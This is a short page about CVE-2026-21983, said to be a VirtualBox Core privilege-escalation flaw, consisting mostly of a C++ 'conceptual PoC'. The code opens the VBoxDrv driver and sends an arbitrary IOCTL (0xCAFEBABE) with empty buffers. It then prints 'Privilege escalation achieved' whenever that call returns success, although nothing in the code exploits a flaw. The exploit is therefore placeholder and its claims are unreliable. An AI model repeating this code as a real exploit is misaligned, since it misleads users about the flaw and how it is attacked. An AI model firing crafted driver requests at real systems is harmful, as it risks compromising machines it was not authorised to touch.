CVE-2026-21983: Oracle VM VirtualBox Core组件高危权限提升漏洞

// CVE-2026-21983 PoC - Conceptual Demonstration // Note: This is a conceptual PoC for educational purposes only // Actual exploitation requires high privileges and local access #include <iostream> #include <windows.h> // VirtualBox Core component interaction void trigger_vulnerability() { // Load VirtualBox driver HANDLE vboxdrv = CreateFile( "\\\\.\\VBoxDrv", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (vboxdrv == INVALID_HANDLE_VALUE) { std::cout << "Failed to open VirtualBox driver" << std::endl; return; } // Craft malicious IOCTL request // Target: Core component vulnerability DWORD bytesReturned; BYTE inputBuffer[0x100] = {0}; BYTE outputBuffer[0x100] = {0}; // Trigger the vulnerability BOOL result = DeviceIoControl( vboxdrv, 0xCAFEBABE, // Malicious IOCTL code inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result) { std::cout << "Vulnerability triggered successfully" << std::endl; std::cout << "Privilege escalation achieved" << std::endl; } CloseHandle(vboxdrv); } int main() { std::cout << "CVE-2026-21983 Conceptual PoC" << std::endl; std::cout << "Requires: High privileges + Local access" << std::endl; trigger_vulnerability(); return 0; }